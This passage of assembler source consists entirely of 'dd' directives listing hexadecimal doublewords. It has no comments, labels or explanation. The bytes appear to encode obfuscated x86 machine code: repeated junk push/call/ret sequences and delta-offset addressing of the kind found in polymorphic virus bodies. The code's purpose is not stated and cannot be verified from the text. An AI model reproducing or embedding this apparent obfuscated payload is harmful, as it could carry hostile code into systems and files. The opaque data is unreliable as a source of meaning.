		dd 8C0FBF83h, 0Dh, 8E9h, 622DE900h, 0D12F8727h,	99B5FFF8h
		dd 0F061EADh, 283h, 0FFF88B00h,	1B0BD595h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 98AD656Ch, 99B5FFE2h, 66061EADh, 0C8F9CF81h,	1A0995FFh
		dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 7B38B2C3h, 8377DEADh, 1B07A5BDh, 840F0206h
		dd 37h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
		dd 6DC35747h, 8910AE6Bh, 1B0EA185h, 31858B06h, 0F061B30h
		dd 0C6DAB7h, 18D8900h, 0C7061B04h, 1B2BD585h, 6, 51A4B300h
		dd 0F37FE95Fh, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 471557C3h, 10E8h, 0F1B1B500h, 0E0DF749Eh, 5AA67011h
		dd 0EA394AB5h, 0DF816697h, 8B5F74D8h, 50006AC1h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0A148095Dh, 32ED858Dh, 5B50061Bh, 53C3DB81h,	0F503CDEh
		dd 488h, 0B5BF6600h, 24048987h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 93C35242h, 0DE9B58DDh, 890F7995h
		dd 4, 745EBB66h, 2515BD89h, 6A061Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 50C35343h, 88F49043h, 8D89B6DAh
		dd 61B3011h, 7D8589h, 6A061Bh, 8D5AF780h, 1FF93D85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0C083EE99h, 0A3BB6605h, 11BD29F1h, 50061B19h, 0CE9h
		dd 0EB294300h, 9D2798D8h, 557CD12Bh, 24048987h,	12870F56h
		dd 0E9000000h, 0Dh, 1E3F2445h, 64B19E24h, 937735C3h, 6A5F08h
		dd 5FF88B51h, 870F006Ah, 2, 95FF79B3h, 61B1A01h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 23C35343h, 3B1F7B92h
		dd 0C2EA8242h, 0E8DE8BE9h, 7, 58689F1h,	66D7710Ah, 5B506EBFh
		dd 92B78D8Dh, 9D29061Eh, 61B18E1h, 0BF9D1FFh, 1B2225BDh
		dd 0D5BD8306h, 1061B1Ch, 0B8850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6950E6C3h
		dd 4E9626C2h, 8BD05D32h, 1B25559Dh, 6A026A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 5BFC355h, 0FD0FBB66h, 23B5B589h, 0BF66061Bh,	8B900E3Eh
		dd 6A9050FBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4FB5C356h, 342A6AA3h, 0BE9B750h
		dd 70000000h, 42552965h, 0D98B9A8Ch, 95FF6F0Fh,	61B142Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 59C35646h
		dd 1EB59D8Bh, 0EEE9061Bh, 0E800000Ch, 0
		dd 47ED815Dh, 0F061FF9h, 6AFFB7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 6FBFDDC3h, 0BB6601DEh
		dd 858DB1B3h, 61E853Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 6EC35242h, 1DBEC4B0h,	8B66512Bh, 905090DFh
		dd 13E8h, 0CA117A00h, 7D09580Bh, 1F7C13A1h, 79998432h
		dd 0D7DCDE70h, 2820Fh, 0DF8B0000h, 29BD895Fh, 64061B25h
		dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0DC9593C3h, 29602654h, 1B0D9D85h
		dd 89646106h, 25h, 0DDBD8900h, 0FF061B10h, 1B2B0D85h, 0FF6AF806h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 4CC35141h
		dd 0B529EC1Bh, 61B1679h, 7B5B5FFh, 9509061Bh, 61B1321h
		dd 80595FFh, 0FFE9061Bh, 0F000000h, 198Dh, 14E900h, 0D5CB0000h
		dd 0A55154CDh, 4637899h, 6C97B4FEh, 3CD9462Ah, 0B06EBAh
		dd 8B9BD8Bh, 70E6061Bh,	25E9B589h, 71E4061Bh, 0F613CF5h
		dd 0C583h, 1D9D8B00h, 0F061B09h, 0BD8BC8B6h, 61B1A69h
		dd 6BAh, 40BF6600h, 819D33D4h, 8B061B32h, 499D8BC1h, 0C1061B21h
		dd 816604E8h, 511F54DFh, 1AB8E381h, 665B6282h, 0C82BE2F7h
		dd 81D18BF8h, 0BB550BEFh, 7CE97Fh, 9D8B0000h, 61B0391h
		dd 49858BFCh, 8944004Eh, 1B09BD95h, 0A0BF6606h,	7C083E8h
		dd 9E9h, 4B879300h, 56C18A4Ch, 0C0838598h, 0FD03B00h, 0B83h
		dd 559D8B00h, 0E9061B0Dh, 3Eh, 0FFFF8D8Bh, 0B589FFFFh
		dd 61B25F1h, 7FD7FBBBh,	1E1832Fh, 24840Fh, 0B5890000h
		dd 61B1BADh, 0FFFFA583h, 8BFEFFFFh, 1B12E1BDh, 49958906h
		dd 3144004Eh, 1B303D8Dh, 0E906h, 0B58D0000h, 61F7C5Ch
		dd 0C0DB589h, 6A061Bh, 3518D89h, 830F061Bh, 6, 7618D01h
		dd 95FF061Bh, 61B2205h,	31EDBD33h, 9BB9061Bh, 6A000010h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A55FC357h, 8D2902C7h, 61B0919h, 66FCE183h
		dd 0FCFCAABBh, 11E9h, 0CAC98500h, 0A2727453h, 0F8B9A9AEh
		dd 249F0775h, 0C02B9389h, 4C38166h, 29D22B78h, 1B323D8Dh
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 6A092Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0B311F5C3h, 14E96Eh, 62ED0000h, 99F22C67h
		dd 0D505F32Fh, 642C61A7h, 0A8D5DCh, 880DE81Ah, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 55EFC352h, 0BD334E28h, 61B3321h, 8BD98B66h
		dd 1B242995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0C2C694F3h, 8B6B4D2Dh, 658D8BFBh
		dd 6A061B07h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 853AC352h, 8B50FE8Bh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E9D88B66h, 0Ch, 0E46196Dh
		dd 0B5BACD8Bh, 0B1B1752Ah, 66DBD89h, 0BD83061Bh, 61B1769h
		dd 7A840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 2DFCC350h, 4A7354D7h
		dd 0B8E66517h, 0
		dd 0D38D8DF9h, 6A061B4Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0B5D2C352h,	0BBE794D2h
		dd 3FC8D8EEh, 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 89FD0AC3h, 1B1985BDh, 0D1BD8306h
		dd 61B13h, 3D3840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0EB0615C3h, 0B4B8035Fh
		dd 0BD83C579h, 61B13D1h, 0BD840F01h, 6A000003h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0B718C352h, 38C76BE4h, 0F34C536h, 38Dh, 0F6F78000h
		dd 13D1BD83h, 0F03061Bh, 34D86h, 41BD0100h, 60061B33h
		dd 0D4DB589h, 8C66061Bh, 2DBD8BD9h, 80061B11h, 6A04E1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0CB1B49C3h, 1A2861h,	2BEAB79Ch, 1B00DD9Dh, 0FC90A06h
		dd 0A284h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FCB6A0Ah, 687h, 91BD8B00h, 8B061B1Ah
		dd 1B014585h, 7E906h, 0A05F0000h, 7E057269h, 318533F5h
		dd 0F061B2Ah, 688h, 31958900h, 50061B09h, 0EE9ABF66h, 89240489h
		dd 1B0F05B5h, 8860F06h,	60000000h, 13C98589h, 6A61061Bh
		dd 0B9B50100h, 68061B10h, 0A228F284h, 481B1B3h,	0F6117B24h
		dd 3595FF5Dh, 8B061B32h, 1B08559Dh, 99858906h, 66061EADh
		dd 88E0C381h, 1F1E9h, 0D8D2900h, 8B061B01h, 1EAD9185h
		dd 1800C706h, 81000000h, 94F358F7h, 95B58B1Eh, 6A061EADh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8BFEC355h, 1B29ED9Dh, 820F06h, 8B000000h
		dd 1B122985h, 8D8B6006h, 61B119Dh, 0EE9h, 2FEFDF00h, 5C1381E9h
		dd 5809CDC8h, 6104DD27h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 64E68DC3h, 858B3DBEh
		dd 61B0145h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0C35646h, 0F64651D7h, 44689C1h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0B1C35242h, 0B0D30739h
		dd 98509B3h, 96061B0Fh,	0E9505F56h, 5, 19A5D1D2h, 0EE9968Eh
		dd 36000000h, 0EB22C6F4h, 22EB0BDBh, 3DCF511Eh,	91B5FFBEh
		dd 6A061EADh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 326BC352h, 0E7D04F8h, 109D9D89h
		dd 4E8061Bh, 0FF000000h, 66001F03h, 6050FA8Bh, 4919BA66h
		dd 61C006BBh, 448B610Eh, 5AB30424h, 0DE9008Bh, 0B8000000h
		dd 0BE668513h, 0B8B5C0CFh, 83E58B66h, 4244489h,	6B00ECBFh
		dd 0BF0F586Eh, 458589DBh, 8D061B25h, 1EAD9985h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0E9909C8Bh, 0Ah, 7EA38339h, 91A30C0Bh, 0BF502F63h, 51B58076h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0D9246FA5h, 95FFC1B3h, 61B3235h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3C35242h, 0D381666Ah
		dd 8B611837h, 1B023DBDh, 0D185C706h, 3061B13h, 8B000000h
		dd 1B2ED59Dh, 99BD8306h, 61EADh, 50840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 7A608BC3h, 0DBB70F73h, 44E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 2E449A37h
		dd 0A8E34664h, 0A619D8Bh, 3050061Bh, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0C99D23C0h,	0F061B1Eh
		dd 78Ch, 1860F00h, 0F5000000h, 13D1BD83h, 0F03061Bh, 45F85h
		dd 0BD83F900h, 61EAD99h, 51840F00h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0EFE6C355h, 13E98Ch,	251E0000h, 188B7B2Eh, 0D04886Eh
		dd 0D3AE2CC3h, 0EF497369h, 99B5FFE9h, 6A061EADh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 91E2C351h, 0BF89E84Ch, 0FF5DCA7Bh, 1B011195h, 85896006h
		dd 61B0371h, 24CFD681h,	8B6140A2h, 1EAD8DB5h, 68C0F06h
		dd 8B000000h, 1B2F319Dh, 106C706h, 6A000100h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 28DEC350h, 8B08D7F1h, 575096DFh, 0BE8h, 20DFB400h, 871D82A7h
		dd 0AAFD1665h, 5B5BC6B3h, 85958996h, 0F5061B19h, 0AD99B5FFh
		dd 0BF0F061Eh, 0C9BD8BFBh, 0FF061B09h, 1B1BC995h, 0F9B70F06h
		dd 0AD8DB58Bh, 6A061Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 52BCB4C3h, 759589h, 8B5B061Bh, 1B07019Dh
		dd 25858B06h, 6A061B0Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 3D96C350h, 0C48689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 11F4F7C3h, 64C8FDBCh, 0B9BD8B68h,	8B061B01h
		dd 1B242995h, 2535BF06h, 0C28333B8h, 56006A04h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 23D0170Fh
		dd 3E8135BFh, 0CE962h, 0BD4D0000h, 53BDD876h, 27EEB391h
		dd 50897183h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 55FE07DEh, 80607AF1h, 8B6680F1h
		dd 858D61F7h, 61EC0C7h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 8CC35040h, 9CEDD909h,	0CC519D65h, 73BF667Ah
		dd 0B88689D3h, 0E9000000h, 13h,	0FC7A7B8Fh, 75A107E7h
		dd 4F5D4B06h, 0B14D43BBh, 810E9879h, 0F68E43D3h, 6A006A5Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0E2B1C352h, 0FF541512h, 1EAD99B5h, 21958906h
		dd 0FF061B12h, 1B142D95h, 0FB8B6606h, 49D78166h, 0FABB96A1h
		dd 5042A0DAh, 0DE9h, 59A86400h,	0B359090Ch, 6E8B7196h
		dd 6A9694D9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 302BC357h, 0CE9A9h, 0A8F0000h
		dd 193DA073h, 0FCB51C76h, 0B5FFF288h, 61EAD99h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B8C35646h, 0B509EE73h
		dd 61B0939h, 0E71BD8Bh,	95FF061Bh, 61B1B91h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C1C35646h, 0C81BD83h
		dd 0F00061Bh, 3484h, 6E900h, 77DF0000h,	82F3D63Dh, 89FE8B50h
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 6C4BE7C3h, 0B2D327BFh, 99B5FF51h,	6A061EADh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6860C355h, 0F418D89h
		dd 95FF061Bh, 61B0BD5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 39C35242h, 0BD8979BAh, 61B0A85h, 0AD99B5FFh
		dd 0BD8B061Eh, 61B1135h, 1A0995FFh, 6A061Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 311A6CC3h
		dd 1B28FD9Dh, 0A5BD8306h, 2061B07h, 3C840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0AB5CE4C3h, 0CBE7EF81h, 858B2F77h, 61B3031h,	3890Fh
		dd 8B660000h, 0C6DEh, 69E7F781h, 85C71A89h, 61B2BD5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 34C35040h
		dd 0E9A03CBFh, 10h, 0C327AE18h,	76D0E4CEh, 7E233955h, 6140DD8Bh
		dd 0FFF415E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 634505Bh, 0E1BB0B94h
		dd 8B3F5CDBh, 39BD8BC1h, 60061B0Dh, 0F12F081h, 54B60416h
		dd 0ED858D61h, 0B7061B32h, 0F88A5002h, 0F240489h, 6AFBBFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F8C35646h
		dd 33A7C4B7h, 1B32E5BDh, 0F006A06h, 280h, 8DDF8B00h, 20083285h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 14D62E3h, 1B086585h, 5C08306h, 0B61616BBh
		dd 8B0F901Ch, 8, 8C0F53h, 5B000000h, 8B665650h,	6A905FF9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7318C351h, 0FE8E54Eh, 8589F8B7h, 61B0A05h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0D56F3CC3h, 974E75F9h, 0CB81A656h, 540AF19Bh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 1D2BB9C3h, 6800F60h, 9000000h, 1B0AE985h
		dd 899D0B06h, 61061B09h, 1A0195FFh, 6A061Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 558153C3h
		dd 76028C6Ah, 8DE14E97h, 1E92B78Dh, 9355BB06h, 0D1FF40E2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E6C35747h
		dd 0DFF242CBh, 0B47B31DEh, 9E8h, 0F11A9B00h, 1C240431h
		dd 8D012DC3h, 61B1915h,	9995895Bh, 83061B06h, 1B1CD5BDh
		dd 850F0106h, 6Bh, 42C957BBh, 8B026A38h, 1B00059Dh, 8D8D8906h
		dd 90061B12h, 10E9h, 9A3F4000h,	8E55CD3Ch, 2874B18Eh, 0D40674B7h
		dd 0EE850E2h, 0E2000000h, 0FAE14BAAh, 0FAC78DA9h, 3444985Fh
		dd 0DF8B66DAh, 0B589905Bh, 61B3039h, 142D95FFh,	6A061Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9F085C3h, 0E02h, 0E8h, 0ED815D00h,	620083Ch, 0C9B501F5h
		dd 8D061B02h, 1E853D85h, 0B9BD8B06h, 50061B18h,	6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 9B6FC353h, 35FF6497h, 0
		dd 6498589h, 8964061Bh,	25h, 89DA8B00h,	1B2A29BDh, 0D85FF06h
		dd 0F061B2Bh, 589h, 0B70F5200h,	0FF6A5FFEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 51C35646h, 60F58060h
		dd 0FFDEA504h, 398D315Eh, 0FF061B06h, 1B02FDB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0D682B6FEh, 595FFEAh, 0E9061B08h, 119h, 8100B0F9h, 667006E3h
		dd 8970E62Eh, 1B2DF9BDh, 0E971E406h, 11h, 92CF424h, 771C18B9h
		dd 930E5EF0h, 0A73C94D1h, 0F613CBEh, 0E883h, 46B86000h
		dd 614E0ACBh, 8BC8B60Fh, 1B2225BDh, 6BA06h, 0BD030000h
		dd 61B02A9h, 0FE9C18Bh,	9D000000h, 961CE9D0h, 7136BC34h
		dd 6A84952Bh, 0E8C14CE5h, 2D9D8B04h, 66061B24h,	9589E2F7h
		dd 61B0F15h, 545EF6BFh,	8BC82B7Ch, 1B10A59Dh, 0E9D18B06h
		dd 9, 8795A41Ah, 8291402Dh, 83E9D7h, 81660000h,	8B9F38F3h
		dd 5F4C4C85h, 29BD8B50h, 83061B32h, 0BF0F07C0h,	0C083F9h
		dd 11830Fh, 0CE90000h, 10000000h, 534381B9h, 24D1431Fh
		dd 3B21F38Bh, 15830FD0h, 0E9000000h, 5,	611B2FF1h, 3BE9D8h
		dd 0E3810000h, 162C8C50h, 0FFFF8D8Bh, 0DC8AFFFFh, 0F01E183h
		dd 2484h, 0D5F38100h, 83550A4Eh, 0FFFFFFA5h, 8501FEFFh
		dd 61B2FB9h, 0D7DB8166h, 4C958978h, 0F9505F4Ch,	0E9h, 0F7B58D00h
		dd 6A061F8Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 172C356h, 1B1985BDh, 852B6006h
		dd 61B0C8Dh, 2F29B509h,	6A61061Bh, 0BBD78100h, 0FF08A07Fh
		dd 1B220595h, 0E9605106h, 11h, 0B96D6719h, 8B616C04h, 0BA2DF1FEh
		dd 5B8BAC15h, 0F9950B3Ah, 61061B23h, 0E8FB95Bh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B8010EC3h, 0E8F90312h, 5, 0BDAAE458h, 880F60FDh, 0
		dd 0B5B531h, 5B61061Bh,	6AFCE183h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 63FEC351h
		dd 0DC440032h, 0D221BCB5h, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 1D5A7E10h
		dd 3C70C6Fh, 31B589E0h,	0FC061B01h, 0B8h, 0F1BD0100h, 0BA061B18h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 3CC35646h
		dd 0A846E381h, 33AD7046h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 94AD29C3h, 140C4E68h, 2800FFFh, 8B000000h, 55006AFAh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0CBB6E9EAh, 990EEF2h, 9D8B1F25h, 61B0E61h, 301DBD31h
		dd 880D061Bh, 0F000000h, 688h, 9DBD8B00h, 8B061B19h, 1B242995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 95895198h, 61B1675h, 658D8B5Bh, 33061B07h
		dd 1B247DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0D34FC350h, 2A973238h,	0ADDD06DFh
		dd 22BD9D8Bh, 8B66061Bh, 53006ADEh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 118B0FDEh, 0E8000000h
		dd 5, 0C35C7C62h, 719D8BEDh, 5B061B12h,	1769BD83h, 0F00061Bh
		dd 5084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0C5A13782h, 8D296C65h, 61B03F5h
		dd 0B8h, 9E800h, 0F38B0000h, 0A6B95F21h, 89C63281h, 1B25AD95h
		dd 8D8D5F06h, 61B4CD3h,	0E1FFFA8Ah, 0EE36E0BFh,	0D1BD837Dh
		dd 61B13h, 4DB840Fh, 0BD890000h, 61B1305h, 13D1BD83h, 0F01061Bh
		dd 4E384h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1804h, 0C3504000h, 0C89CBADAh, 0D1BD838Dh, 3061B13h
		dd 480860Fh, 85890000h,	61B06D9h, 0C5B50160h, 66061B06h
		dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 10E978C3h, 57000000h, 0E4830A4h, 0F66D92D5h
		dd 980B8ADEh, 80442620h, 958904E1h, 61B0D4Dh, 840FC90Ah
		dd 17Dh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0F4C35141h, 76276B84h, 10E9BB22h, 4A000000h, 1B0E560Fh
		dd 24481636h, 7A31AF90h, 8BC073AAh, 1B014585h, 31853306h
		dd 6A061B2Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 57F3C355h, 0EE8h, 0B9A40E00h
		dd 985A8B6Dh, 41560839h, 0BB4535D9h, 5521C9BBh,	0D88B505Fh
		dd 0B7240489h, 6A006AC3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0CEA2C351h,	6890F35h
		dd 8B000000h, 1B1C919Dh, 4E806h, 3FF0000h, 5250001Fh, 0FFA8B66h
		dd 5AFB8B31h, 0CE85058h, 53000000h, 67F15823h, 0C9EEBDF5h
		dd 8B8F8CEDh, 448B5BD8h, 51600424h, 61CA8B5Ah, 0E856008Bh
		dd 0Fh,	4EA00E6Dh, 65A4EAD4h, 7E14CD15h, 0E81E1B76h, 9
		dd 3421C615h, 0A225DA21h, 5B5F5BD7h, 4244489h, 14E960h
		dd 0F6EB0000h, 2A0C649Ch, 0DB9C9BE6h, 1D2D126Ah, 5D26DB58h
		dd 0BA665E3Ch, 5861447Ah, 22BDBD8Bh, 820F061Bh,	6, 2B5BD8Bh
		dd 95FF061Bh, 61B3235h,	998589FCh, 6A061EADh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0FA1FC353h, 0AD456347h, 0CB8166F8h, 44E97641h, 29000002h
		dd 1B09C9BDh, 91858B06h, 6A061EADh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3E6FC351h
		dd 0D27B6747h, 3F409BAAh, 11E9h, 2BE6FA00h, 0F5709680h
		dd 706FF1D0h, 638F6634h, 0C7E98Dh, 18h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 74C35141h, 0B1064BF1h
		dd 0D281F860h, 75A9CC80h, 95B58B61h, 8B061EADh,	29858BFBh
		dd 6A061B12h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0FE52C355h, 2BD9529h, 0F52061Bh
		dd 189h, 895BFC00h, 0A2D38106h,	816B594Ah, 0F8092ADBh
		dd 45858B16h, 6A061B01h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D984C350h,	44689D2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 96C35343h
		dd 0C8284FB4h, 0E99603A9h, 8, 4B64B98Dh, 31CDE04Bh, 6A9650h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 6FDBBFC3h, 0A840FBAh, 0E9000000h, 5,	342DD352h, 91B5FF0Dh
		dd 6A061EADh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0EDA2C351h, 625408F7h,	21B9F048h
		dd 3F98B66h, 1B1301BDh,	4E806h,	3FF0000h, 6DBF001Fh, 50186A13h
		dd 7E951h, 0B3AF0000h, 6F3909ACh, 448B5BE8h, 52500424h
		dd 0CE9h, 1EB4000h, 97C06173h, 76CA2AE8h, 50310FCFh, 310F5250h
		dd 5A5B585Ah, 0E8008B58h, 11h, 61C232C5h, 8EE85B81h, 771F67EBh
		dd 2F8D01FDh, 5F46B367h, 4244489h, 0E8FB8B60h, 14h, 36542CF1h
		dd 0DBE42779h, 34E09C52h, 0C918BC96h, 8CEB9D67h, 615EC88Ah
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 4B9B533Fh, 8E9h,	10931F00h, 2E3588B5h, 99858D4Bh
		dd 0F061EADh, 85h, 8B509000h, 9D8B90D9h, 61B1BB9h, 323595FFh
		dd 61FC061Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0FDC35747h, 1791BD89h, 85C7061Bh, 61B13D1h, 3
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 80C35242h
		dd 7F02F7C7h, 0C78133C5h, 629D04F0h, 0AD99BD83h, 0F00061Eh
		dd 1184h, 0D59D8B00h, 0E9061B0Ch, 21h, 1B6DBD8Bh, 3050061Bh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 6A4ECDh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89FB45C3h, 1B2ACD9Dh, 0D1BD8306h
